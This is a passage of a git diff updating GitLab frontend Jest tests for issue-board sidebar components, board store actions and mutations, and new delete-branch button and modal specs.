diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
index ad682774ee6..8992a5780f3 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_labels_select_spec.js
@@ -9,11 +9,8 @@ import {
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
import BoardSidebarLabelsSelect from '~/boards/components/sidebar/board_sidebar_labels_select.vue';
import { createStore } from '~/boards/stores';
-import createFlash from '~/flash';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-jest.mock('~/flash');
-
const TEST_LABELS_PAYLOAD = TEST_LABELS.map((label) => ({ ...label, set: true }));
const TEST_LABELS_TITLES = TEST_LABELS.map((label) => label.title);
@@ -154,6 +151,7 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
jest.spyOn(wrapper.vm, 'setActiveBoardItemLabels').mockImplementation(() => {
throw new Error(['failed mutation']);
});
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
findLabelsSelect().vm.$emit('updateSelectedLabels', [{ id: '?' }]);
await wrapper.vm.$nextTick();
});
@@ -161,7 +159,7 @@ describe('~/boards/components/sidebar/board_sidebar_labels_select.vue', () => {
it('collapses sidebar and renders former issue weight', () => {
expect(findCollapsed().isVisible()).toBe(true);
expect(findLabelsTitles()).toEqual(TEST_LABELS_TITLES);
- expect(createFlash).toHaveBeenCalled();
+ expect(wrapper.vm.setError).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js
deleted file mode 100644
index 8706424a296..00000000000
--- a/spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js
+++ /dev/null
@@ -1,178 +0,0 @@
-import { GlLoadingIcon, GlDropdown } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { mockMilestone as TEST_MILESTONE } from 'jest/boards/mock_data';
-import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
-import BoardSidebarMilestoneSelect from '~/boards/components/sidebar/board_sidebar_milestone_select.vue';
-import { createStore } from '~/boards/stores';
-import createFlash from '~/flash';
-
-const TEST_ISSUE = { id: 'gid://gitlab/Issue/1', iid: 9, referencePath: 'h/b#2' };
-
-jest.mock('~/flash');
-
-describe('~/boards/components/sidebar/board_sidebar_milestone_select.vue', () => {
- let wrapper;
- let store;
-
- afterEach(() => {
- wrapper.destroy();
- store = null;
- wrapper = null;
- });
-
- const createWrapper = ({ milestone = null, loading = false } = {}) => {
- store = createStore();
- store.state.boardItems = { [TEST_ISSUE.id]: { ...TEST_ISSUE, milestone } };
- store.state.activeId = TEST_ISSUE.id;
-
- wrapper = shallowMount(BoardSidebarMilestoneSelect, {
- store,
- provide: {
- canUpdate: true,
- },
- data: () => ({
- milestones: [TEST_MILESTONE],
- }),
- stubs: {
- 'board-editable-item': BoardEditableItem,
- },
- mocks: {
- $apollo: {
- loading,
- },
- },
- });
- };
-
- const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
- const findLoader = () => wrapper.find(GlLoadingIcon);
- const findDropdown = () => wrapper.find(GlDropdown);
- const findBoardEditableItem = () => wrapper.find(BoardEditableItem);
- const findDropdownItem = () => wrapper.find('[data-testid="milestone-item"]');
- const findUnsetMilestoneItem = () => wrapper.find('[data-testid="no-milestone-item"]');
- const findNoMilestonesFoundItem = () => wrapper.find('[data-testid="no-milestones-found"]');
-
- describe('when not editing', () => {
- it('opens the milestone dropdown on clicking edit', async () => {
- createWrapper();
- wrapper.vm.$refs.dropdown.show = jest.fn();
-
- await findBoardEditableItem().vm.$emit('open');
-
- expect(wrapper.vm.$refs.dropdown.show).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('when editing', () => {
- beforeEach(() => {
- createWrapper();
- jest.spyOn(wrapper.vm.$refs.sidebarItem, 'collapse');
- });
-
- it('collapses BoardEditableItem on clicking edit', async () => {
- await findBoardEditableItem().vm.$emit('close');
-
- expect(wrapper.vm.$refs.sidebarItem.collapse).toHaveBeenCalledTimes(1);
- });
-
- it('collapses BoardEditableItem on hiding dropdown', async () => {
- await findDropdown().vm.$emit('hide');
-
- expect(wrapper.vm.$refs.sidebarItem.collapse).toHaveBeenCalledTimes(1);
- });
- });
-
- it('renders "None" when no milestone is selected', () => {
- createWrapper();
-
- expect(findCollapsed().text()).toBe('None');
- });
-
- it('renders milestone title when set', () => {
- createWrapper({ milestone: TEST_MILESTONE });
-
- expect(findCollapsed().text()).toContain(TEST_MILESTONE.title);
- });
-
- it('shows loader while Apollo is loading', async () => {
- createWrapper({ milestone: TEST_MILESTONE, loading: true });
-
- expect(findLoader().exists()).toBe(true);
- });
-
- it('shows message when error or no milestones found', async () => {
- createWrapper();
-
- await wrapper.setData({ milestones: [] });
-
- expect(findNoMilestonesFoundItem().text()).toBe('No milestones found');
- });
-
- describe('when milestone is selected', () => {
- beforeEach(async () => {
- createWrapper();
-
- jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE.id].milestone = TEST_MILESTONE;
- });
- findDropdownItem().vm.$emit('click');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders selected milestone', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toContain(TEST_MILESTONE.title);
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueMilestone).toHaveBeenCalledWith({
- milestoneId: TEST_MILESTONE.id,
- projectPath: 'h/b',
- });
- });
- });
-
- describe('when milestone is set to "None"', () => {
- beforeEach(async () => {
- createWrapper({ milestone: TEST_MILESTONE });
-
- jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
- store.state.boardItems[TEST_ISSUE.id].milestone = null;
- });
- findUnsetMilestoneItem().vm.$emit('click');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders "None"', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toBe('None');
- });
-
- it('commits change to the server', () => {
- expect(wrapper.vm.setActiveIssueMilestone).toHaveBeenCalledWith({
- milestoneId: null,
- projectPath: 'h/b',
- });
- });
- });
-
- describe('when the mutation fails', () => {
- const testMilestone = { id: '1', title: 'Former milestone' };
-
- beforeEach(async () => {
- createWrapper({ milestone: testMilestone });
-
- jest.spyOn(wrapper.vm, 'setActiveIssueMilestone').mockImplementation(() => {
- throw new Error(['failed mutation']);
- });
- findDropdownItem().vm.$emit('click');
- await wrapper.vm.$nextTick();
- });
-
- it('collapses sidebar and renders former milestone', () => {
- expect(findCollapsed().isVisible()).toBe(true);
- expect(findCollapsed().text()).toContain(testMilestone.title);
- expect(createFlash).toHaveBeenCalled();
- });
- });
-});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
index 7976e73ff2f..8847f626c1f 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_subscription_spec.js
@@ -5,11 +5,8 @@ import Vuex from 'vuex';
import BoardSidebarSubscription from '~/boards/components/sidebar/board_sidebar_subscription.vue';
import { createStore } from '~/boards/stores';
import * as types from '~/boards/stores/mutation_types';
-import createFlash from '~/flash';
import { mockActiveIssue } from '../../mock_data';
-jest.mock('~/flash.js');
-
Vue.use(Vuex);
describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () => {
@@ -153,13 +150,15 @@ describe('~/boards/components/sidebar/board_sidebar_subscription_spec.vue', () =
jest.spyOn(wrapper.vm, 'setActiveItemSubscribed').mockImplementation(async () => {
throw new Error();
});
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
findToggle().trigger('click');
await wrapper.vm.$nextTick();
- expect(createFlash).toHaveBeenNthCalledWith(1, {
- message: wrapper.vm.$options.i18n.updateSubscribedErrorMessage,
- });
+ expect(wrapper.vm.setError).toHaveBeenCalled();
+ expect(wrapper.vm.setError.mock.calls[0][0].message).toBe(
+ wrapper.vm.$options.i18n.updateSubscribedErrorMessage,
+ );
});
});
});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js
index 03924bfa8d3..74441e147cf 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js
@@ -26,6 +26,7 @@ describe('BoardSidebarTimeTracker', () => {
store = createStore();
store.state.boardItems = {
1: {
+ iid: 1,
timeEstimate: 3600,
totalTimeSpent: 1800,
humanTimeEstimate: '1h',
@@ -46,12 +47,16 @@ describe('BoardSidebarTimeTracker', () => {
createComponent({ provide: { timeTrackingLimitToHours } });
expect(wrapper.find(IssuableTimeTracker).props()).toEqual({
- timeEstimate: 3600,
- timeSpent: 1800,
- humanTimeEstimate: '1h',
- humanTimeSpent: '30min',
limitToHours: timeTrackingLimitToHours,
showCollapsed: false,
+ issuableIid: '1',
+ fullPath: '',
+ initialTimeTracking: {
+ timeEstimate: 3600,
+ totalTimeSpent: 1800,
+ humanTimeEstimate: '1h',
+ humanTotalTimeSpent: '30min',
+ },
});
},
);
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js
index c8ccd4c88a5..4a8eda298f2 100644
--- a/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js
@@ -3,7 +3,6 @@ import { shallowMount } from '@vue/test-utils';
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
import { createStore } from '~/boards/stores';
-import createFlash from '~/flash';
const TEST_TITLE = 'New item title';
const TEST_ISSUE_A = {
@@ -19,8 +18,6 @@ const TEST_ISSUE_B = {
referencePath: 'h/b#2',
};
-jest.mock('~/flash');
-
describe('~/boards/components/sidebar/board_sidebar_title.vue', () => {
let wrapper;
let store;
@@ -168,6 +165,7 @@ describe('~/boards/components/sidebar/board_sidebar_title.vue', () => {
jest.spyOn(wrapper.vm, 'setActiveItemTitle').mockImplementation(() => {
throw new Error(['failed mutation']);
});
+ jest.spyOn(wrapper.vm, 'setError').mockImplementation(() => {});
findFormInput().vm.$emit('input', 'Invalid title');
findForm().vm.$emit('submit', { preventDefault: () => {} });
await wrapper.vm.$nextTick();
@@ -176,7 +174,7 @@ describe('~/boards/components/sidebar/board_sidebar_title.vue', () => {
it('collapses sidebar and renders former item title', () => {
expect(findCollapsed().isVisible()).toBe(true);
expect(findTitle().text()).toContain(TEST_ISSUE_B.title);
- expect(createFlash).toHaveBeenCalled();
+ expect(wrapper.vm.setError).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/boards/project_select_deprecated_spec.js b/spec/frontend/boards/project_select_deprecated_spec.js
index 37f519ef5b9..4494de43083 100644
--- a/spec/frontend/boards/project_select_deprecated_spec.js
+++ b/spec/frontend/boards/project_select_deprecated_spec.js
@@ -5,7 +5,7 @@ import AxiosMockAdapter from 'axios-mock-adapter';
import ProjectSelect from '~/boards/components/project_select_deprecated.vue';
import { ListType } from '~/boards/constants';
import eventHub from '~/boards/eventhub';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import httpStatus from '~/lib/utils/http_status';
import { featureAccessLevel } from '~/pages/projects/shared/permissions/constants';
@@ -237,8 +237,10 @@ describe('ProjectSelect component', () => {
await searchForProject('foobar');
- expect(flash).toHaveBeenCalledTimes(1);
- expect(flash).toHaveBeenCalledWith('Something went wrong while fetching projects');
+ expect(createFlash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while fetching projects',
+ });
});
describe('with non-empty search result', () => {
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index 09343b5704f..b28412f2127 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -15,6 +15,7 @@ import {
formatIssueInput,
formatIssue,
getMoveData,
+ updateListPosition,
} from '~/boards/boards_util';
import destroyBoardListMutation from '~/boards/graphql/board_list_destroy.mutation.graphql';
import issueCreateMutation from '~/boards/graphql/issue_create.mutation.graphql';
@@ -29,13 +30,13 @@ import {
mockIssue2,
rawIssue,
mockIssues,
- mockMilestone,
labels,
mockActiveIssue,
mockGroupProjects,
mockMoveIssueParams,
mockMoveState,
mockMoveData,
+ mockList,
} from '../mock_data';
jest.mock('~/flash');
@@ -70,27 +71,28 @@ describe('setFilters', () => {
[
'with correct filters as payload',
{
- filters: { labelName: 'label' },
- updatedFilters: { labelName: 'label', not: {} },
+ filters: { labelName: 'label', foobar: 'not-a-filter', search: 'quick brown fox' },
+ filterVariables: { labelName: 'label', search: 'quick brown fox', not: {} },
},
],
[
- 'and updates assigneeWildcardId',
+ "and use 'assigneeWildcardId' as filter variable for 'assigneId' param",
{
filters: { assigneeId: 'None' },
- updatedFilters: { assigneeWildcardId: 'NONE', not: {} },
+ filterVariables: { assigneeWildcardId: 'NONE', not: {} },
},
],
- ])('should commit mutation SET_FILTERS %s', (_, { filters, updatedFilters }) => {
+ ])('should commit mutation SET_FILTERS %s', (_, { filters, filterVariables }) => {
const state = {
filters: {},
+ issuableType: issuableTypes.issue,
};
testAction(
actions.setFilters,
filters,
state,
- [{ type: types.SET_FILTERS, payload: updatedFilters }],
+ [{ type: types.SET_FILTERS, payload: filterVariables }],
[],
);
});
@@ -373,6 +375,24 @@ describe('createIssueList', () => {
});
});
+describe('addList', () => {
+ const getters = {
+ getListByTitle: jest.fn().mockReturnValue(mockList),
+ };
+
+ it('should commit RECEIVE_ADD_LIST_SUCCESS mutation and dispatch fetchItemsForList action', () => {
+ testAction({
+ action: actions.addList,
+ payload: mockLists[1],
+ state: { ...getters },
+ expectedMutations: [
+ { type: types.RECEIVE_ADD_LIST_SUCCESS, payload: updateListPosition(mockLists[1]) },
+ ],
+ expectedActions: [{ type: 'fetchItemsForList', payload: { listId: mockList.id } }],
+ });
+ });
+});
+
describe('fetchLabels', () => {
it('should commit mutation RECEIVE_LABELS_SUCCESS on success', async () => {
const queryResponse = {
@@ -520,7 +540,8 @@ describe('toggleListCollapsed', () => {
describe('removeList', () => {
let state;
- const list = mockLists[0];
+ let getters;
+ const list = mockLists[1];
const listId = list.id;
const mutationVariables = {
mutation: destroyBoardListMutation,
@@ -534,6 +555,9 @@ describe('removeList', () => {
boardLists: mockListsById,
issuableType: issuableTypes.issue,
};
+ getters = {
+ getListByTitle: jest.fn().mockReturnValue(mockList),
+ };
});
afterEach(() => {
@@ -543,13 +567,15 @@ describe('removeList', () => {
it('optimistically deletes the list', () => {
const commit = jest.fn();
- actions.removeList({ commit, state }, listId);
+ actions.removeList({ commit, state, getters, dispatch: () => {} }, listId);
expect(commit.mock.calls).toEqual([[types.REMOVE_LIST, listId]]);
});
it('keeps the updated list if remove succeeds', async () => {
const commit = jest.fn();
+ const dispatch = jest.fn();
+
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
destroyBoardList: {
@@ -558,17 +584,18 @@ describe('removeList', () => {
},
});
- await actions.removeList({ commit, state }, listId);
+ await actions.removeList({ commit, state, getters, dispatch }, listId);
expect(gqlClient.mutate).toHaveBeenCalledWith(mutationVariables);
expect(commit.mock.calls).toEqual([[types.REMOVE_LIST, listId]]);
+ expect(dispatch.mock.calls).toEqual([['fetchItemsForList', { listId: mockList.id }]]);
});
it('restores the list if update fails', async () => {
const commit = jest.fn();
jest.spyOn(gqlClient, 'mutate').mockResolvedValue(Promise.reject());
- await actions.removeList({ commit, state }, listId);
+ await actions.removeList({ commit, state, getters, dispatch: () => {} }, listId);
expect(gqlClient.mutate).toHaveBeenCalledWith(mutationVariables);
expect(commit.mock.calls).toEqual([
@@ -587,7 +614,7 @@ describe('removeList', () => {
},
});
- await actions.removeList({ commit, state }, listId);
+ await actions.removeList({ commit, state, getters, dispatch: () => {} }, listId);
expect(gqlClient.mutate).toHaveBeenCalledWith(mutationVariables);
expect(commit.mock.calls).toEqual([
@@ -649,6 +676,10 @@ describe('fetchItemsForList', () => {
state,
[
{
+ type: types.RESET_ITEMS_FOR_LIST,
+ payload: listId,
+ },
+ {
type: types.REQUEST_ITEMS_FOR_LIST,
payload: { listId, fetchNext: false },
},
@@ -671,6 +702,10 @@ describe('fetchItemsForList', () => {
state,
[
{
+ type: types.RESET_ITEMS_FOR_LIST,
+ payload: listId,
+ },
+ {
type: types.REQUEST_ITEMS_FOR_LIST,
payload: { listId, fetchNext: false },
},
@@ -1114,6 +1149,7 @@ describe('addListItem', () => {
listId: mockLists[0].id,
itemId: mockIssue.id,
atIndex: 0,
+ inProgress: false,
},
},
{ type: types.UPDATE_BOARD_ITEM, payload: mockIssue },
@@ -1244,8 +1280,9 @@ describe('addListNewIssue', () => {
type: 'addListItem',
payload: {
list: fakeList,
- item: formatIssue({ ...mockIssue, id: 'tmp' }),
+ item: formatIssue({ ...mockIssue, id: 'tmp', isLoading: true }),
position: 0,
+ inProgress: true,
},
},
{ type: 'removeListItem', payload: { listId: fakeList.id, itemId: 'tmp' } },
@@ -1286,8 +1323,9 @@ describe('addListNewIssue', () => {
type: 'addListItem',
payload: {
list: fakeList,
- item: formatIssue({ ...mockIssue, id: 'tmp' }),
+ item: formatIssue({ ...mockIssue, id: 'tmp', isLoading: true }),
position: 0,
+ inProgress: true,
},
},
{ type: 'removeListItem', payload: { listId: fakeList.id, itemId: 'tmp' } },
@@ -1348,57 +1386,6 @@ describe('setActiveIssueLabels', () => {
});
});
-describe('setActiveIssueDueDate', () => {
- const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeBoardItem: mockIssue };
- const testDueDate = '2020-02-20';
- const input = {
- dueDate: testDueDate,
- projectPath: 'h/b',
- };
-
- it('should commit due date after setting the issue', (done) => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: {
- updateIssue: {
- issue: {
- dueDate: testDueDate,
- },
- errors: [],
- },
- },
- });
-
- const payload = {
- itemId: getters.activeBoardItem.id,
- prop: 'dueDate',
- value: testDueDate,
- };
-
- testAction(
- actions.setActiveIssueDueDate,
- input,
- { ...state, ...getters },
- [
- {
- type: types.UPDATE_BOARD_ITEM_BY_ID,
- payload,
- },
- ],
- [],
- done,
- );
- });
-
- it('throws error if fails', async () => {
- jest
- .spyOn(gqlClient, 'mutate')
- .mockResolvedValue({ data: { updateIssue: { errors: ['failed mutation'] } } });
-
- await expect(actions.setActiveIssueDueDate({ getters }, input)).rejects.toThrow(Error);
- });
-});
-
describe('setActiveItemSubscribed', () => {
const state = {
boardItems: {
@@ -1456,60 +1443,6 @@ describe('setActiveItemSubscribed', () => {
});
});
-describe('setActiveIssueMilestone', () => {
- const state = { boardItems: { [mockIssue.id]: mockIssue } };
- const getters = { activeBoardItem: mockIssue };
- const testMilestone = {
- ...mockMilestone,
- id: 'gid://gitlab/Milestone/1',
- };
- const input = {
- milestoneId: testMilestone.id,
- projectPath: 'h/b',
- };
-
- it('should commit milestone after setting the issue', (done) => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: {
- updateIssue: {
- issue: {
- milestone: testMilestone,
- },
- errors: [],
- },
- },
- });
-
- const payload = {
- itemId: getters.activeBoardItem.id,
- prop: 'milestone',
- value: testMilestone,
- };
-
- testAction(
- actions.setActiveIssueMilestone,
- input,
- { ...state, ...getters },
- [
- {
- type: types.UPDATE_BOARD_ITEM_BY_ID,
- payload,
- },
- ],
- [],
- done,
- );
- });
-
- it('throws error if fails', async () => {
- jest
- .spyOn(gqlClient, 'mutate')
- .mockResolvedValue({ data: { updateIssue: { errors: ['failed mutation'] } } });
-
- await expect(actions.setActiveIssueMilestone({ getters }, input)).rejects.toThrow(Error);
- });
-});
-
describe('setActiveItemTitle', () => {
const state = {
boardItems: { [mockIssue.id]: mockIssue },
diff --git a/spec/frontend/boards/stores/mutations_spec.js b/spec/frontend/boards/stores/mutations_spec.js
index d89abcc79ae..5b38f04e77b 100644
--- a/spec/frontend/boards/stores/mutations_spec.js
+++ b/spec/frontend/boards/stores/mutations_spec.js
@@ -273,6 +273,53 @@ describe('Board Store Mutations', () => {
});
});
+ describe('RESET_ITEMS_FOR_LIST', () => {
+ it('should remove issues from boardItemsByListId state', () => {
+ const listId = 'gid://gitlab/List/1';
+ const boardItemsByListId = {
+ [listId]: [mockIssue.id],
+ };
+
+ state = {
+ ...state,
+ boardItemsByListId,
+ };
+
+ mutations[types.RESET_ITEMS_FOR_LIST](state, listId);
+
+ expect(state.boardItemsByListId[listId]).toEqual([]);
+ });
+ });
+
+ describe('REQUEST_ITEMS_FOR_LIST', () => {
+ const listId = 'gid://gitlab/List/1';
+ const boardItemsByListId = {
+ [listId]: [mockIssue.id],
+ };
+
+ it.each`
+ fetchNext | isLoading | isLoadingMore
+ ${true} | ${undefined} | ${true}
+ ${false} | ${true} | ${undefined}
+ `(
+ 'sets isLoading to $isLoading and isLoadingMore to $isLoadingMore when fetchNext is $fetchNext',
+ ({ fetchNext, isLoading, isLoadingMore }) => {
+ state = {
+ ...state,
+ boardItemsByListId,
+ listsFlags: {
+ [listId]: {},
+ },
+ };
+
+ mutations[types.REQUEST_ITEMS_FOR_LIST](state, { listId, fetchNext });
+
+ expect(state.listsFlags[listId].isLoading).toBe(isLoading);
+ expect(state.listsFlags[listId].isLoadingMore).toBe(isLoadingMore);
+ },
+ );
+ });
+
describe('RECEIVE_ITEMS_FOR_LIST_SUCCESS', () => {
it('updates boardItemsByListId and issues on state', () => {
const listIssues = {
diff --git a/spec/frontend/branches/components/delete_branch_button_spec.js b/spec/frontend/branches/components/delete_branch_button_spec.js
new file mode 100644
index 00000000000..acbc83a9bdc
--- /dev/null
+++ b/spec/frontend/branches/components/delete_branch_button_spec.js
@@ -0,0 +1,96 @@
+import { GlButton } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import DeleteBranchButton from '~/branches/components/delete_branch_button.vue';
+import eventHub from '~/branches/event_hub';
+
+let wrapper;
+let findDeleteButton;
+
+const createComponent = (props = {}) => {
+ wrapper = shallowMount(DeleteBranchButton, {
+ propsData: {
+ branchName: 'test',
+ deletePath: '/path/to/branch',
+ defaultBranchName: 'main',
+ ...props,
+ },
+ });
+};
+
+describe('Delete branch button', () => {
+ let eventHubSpy;
+
+ beforeEach(() => {
+ findDeleteButton = () => wrapper.findComponent(GlButton);
+ eventHubSpy = jest.spyOn(eventHub, '$emit');
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the button with default tooltip, style, and icon', () => {
+ createComponent();
+
+ expect(findDeleteButton().attributes()).toMatchObject({
+ title: 'Delete branch',
+ variant: 'danger',
+ icon: 'remove',
+ });
+ });
+
+ it('renders a different tooltip for a protected branch', () => {
+ createComponent({ isProtectedBranch: true });
+
+ expect(findDeleteButton().attributes()).toMatchObject({
+ title: 'Delete protected branch',
+ variant: 'danger',
+ icon: 'remove',
+ });
+ });
+
+ it('renders a different protected tooltip when it is both protected and disabled', () => {
+ createComponent({ isProtectedBranch: true, disabled: true });
+
+ expect(findDeleteButton().attributes()).toMatchObject({
+ title: 'Only a project maintainer or owner can delete a protected branch',
+ variant: 'default',
+ });
+ });
+
+ it('emits the data to eventHub when button is clicked', () => {
+ createComponent({ merged: true });
+
+ findDeleteButton().vm.$emit('click');
+
+ expect(eventHubSpy).toHaveBeenCalledWith('openModal', {
+ branchName: 'test',
+ defaultBranchName: 'main',
+ deletePath: '/path/to/branch',
+ isProtectedBranch: false,
+ merged: true,
+ });
+ });
+
+ describe('#disabled', () => {
+ it('does not disable the button by default when mounted', () => {
+ createComponent();
+
+ expect(findDeleteButton().attributes()).toMatchObject({
+ title: 'Delete branch',
+ variant: 'danger',
+ });
+ });
+
+ // Used for unallowed users and for the default branch.
+ it('disables the button when mounted for a disabled modal', () => {
+ createComponent({ disabled: true, tooltip: 'The default branch cannot be deleted' });
+
+ expect(findDeleteButton().attributes()).toMatchObject({
+ title: 'The default branch cannot be deleted',
+ disabled: 'true',
+ variant: 'default',
+ });
+ });
+ });
+});
diff --git a/spec/frontend/branches/components/delete_branch_modal_spec.js b/spec/frontend/branches/components/delete_branch_modal_spec.js
new file mode 100644
index 00000000000..0c6111bda9e
--- /dev/null
+++ b/spec/frontend/branches/components/delete_branch_modal_spec.js
@@ -0,0 +1,157 @@
+import { GlButton, GlModal, GlFormInput, GlSprintf } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import DeleteBranchModal from '~/branches/components/delete_branch_modal.vue';
+import eventHub from '~/branches/event_hub';
+
+let wrapper;
+
+const branchName = 'test_modal';
+const defaultBranchName = 'default';
+const deletePath = '/path/to/branch';
+const merged = false;
+const isProtectedBranch = false;
+
+const createComponent = (data = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(DeleteBranchModal, {
+ data() {
+ return {
+ branchName,
+ deletePath,
+ defaultBranchName,
+ merged,
+ isProtectedBranch,
+ ...data,
+ };
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template:
+ '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ GlButton,
+ GlFormInput,
+ GlSprintf,
+ },
+ }),
+ );
+};
+
+const findModal = () => wrapper.findComponent(GlModal);
+const findModalMessage = () => wrapper.findByTestId('modal-message');
+const findDeleteButton = () => wrapper.findByTestId('delete-branch-confirmation-button');
+const findCancelButton = () => wrapper.findByTestId('delete-branch-cancel-button');
+const findFormInput = () => wrapper.findComponent(GlFormInput);
+const findForm = () => wrapper.find('form');
+
+describe('Delete branch modal', () => {
+ const expectedUnmergedWarning =
+ 'This branch hasn’t been merged into default. To avoid data loss, consider merging this branch before deleting it.';
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('Deleting a regular branch', () => {
+ const expectedTitle = 'Delete branch. Are you ABSOLUTELY SURE?';
+ const expectedWarning = "You're about to permanently delete the branch test_modal.";
+ const expectedMessage = `${expectedWarning} ${expectedUnmergedWarning}`;
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders the modal correctly', () => {
+ expect(findModal().props('title')).toBe(expectedTitle);
+ expect(findModalMessage().text()).toMatchInterpolatedText(expectedMessage);
+ expect(findCancelButton().text()).toBe('Cancel, keep branch');
+ expect(findDeleteButton().text()).toBe('Yes, delete branch');
+ expect(findForm().attributes('action')).toBe(deletePath);
+ });
+
+ it('submits the form when the delete button is clicked', () => {
+ const submitFormSpy = jest.spyOn(wrapper.vm.$refs.form, 'submit');
+
+ findDeleteButton().trigger('click');
+
+ expect(findForm().attributes('action')).toBe(deletePath);
+ expect(submitFormSpy).toHaveBeenCalled();
+ });
+
+ it('calls show on the modal when a `openModal` event is received through the event hub', async () => {
+ const showSpy = jest.spyOn(wrapper.vm.$refs.modal, 'show');
+
+ eventHub.$emit('openModal', {
+ isProtectedBranch,
+ branchName,
+ defaultBranchName,
+ deletePath,
+ merged,
+ });
+
+ expect(showSpy).toHaveBeenCalled();
+ });
+
+ it('calls hide on the modal when cancel button is clicked', () => {
+ const closeModalSpy = jest.spyOn(wrapper.vm.$refs.modal, 'hide');
+
+ findCancelButton().trigger('click');
+
+ expect(closeModalSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('Deleting a protected branch (for owner or maintainer)', () => {
+ const expectedTitleProtected = 'Delete protected branch. Are you ABSOLUTELY SURE?';
+ const expectedWarningProtected =
+ "You're about to permanently delete the protected branch test_modal.";
+ const expectedMessageProtected = `${expectedWarningProtected} ${expectedUnmergedWarning}`;
+ const expectedConfirmationText =
+ 'Once you confirm and press Yes, delete protected branch, it cannot be undone or recovered. Please type the following to confirm: test_modal';
+
+ beforeEach(() => {
+ createComponent({ isProtectedBranch: true });
+ });
+
+ describe('rendering the modal correctly for a protected branch', () => {
+ it('sets the modal title for a protected branch', () => {
+ expect(findModal().props('title')).toBe(expectedTitleProtected);
+ });
+
+ it('renders the correct text in the modal message', () => {
+ expect(findModalMessage().text()).toMatchInterpolatedText(expectedMessageProtected);
+ });
+
+ it('renders the protected branch name confirmation form with expected text and action', () => {
+ expect(findForm().text()).toMatchInterpolatedText(expectedConfirmationText);
+ expect(findForm().attributes('action')).toBe(deletePath);
+ });
+
+ it('renders the buttons with the correct button text', () => {
+ expect(findCancelButton().text()).toBe('Cancel, keep branch');
+ expect(findDeleteButton().text()).toBe('Yes, delete protected branch');
+ });
+ });
+
+ it('opens with the delete button disabled and enables it when branch name is confirmed', async () => {
+ expect(findDeleteButton().props('disabled')).toBe(true);
+
+ findFormInput().vm.$emit('input', branchName);
+
+ await waitForPromises();
+
+ expect(findDeleteButton().props('disabled')).not.toBe(true);
+ });
+ });
+
+ describe('Deleting a merged branch', () => {
+ it('does not include the unmerged branch warning when merged is true', () => {
+ createComponent({ merged: true });
+
+ expect(findModalMessage().html()).not.toContain(expectedUnmergedWarning);
+ });
+ });
+});
diff --git a/spec/frontend/ci_variable_list/store/actions_spec.js b/spec/frontend/ci_variable_list/store/actions_spec.js
index be3640936dc..426e6cae8fb 100644
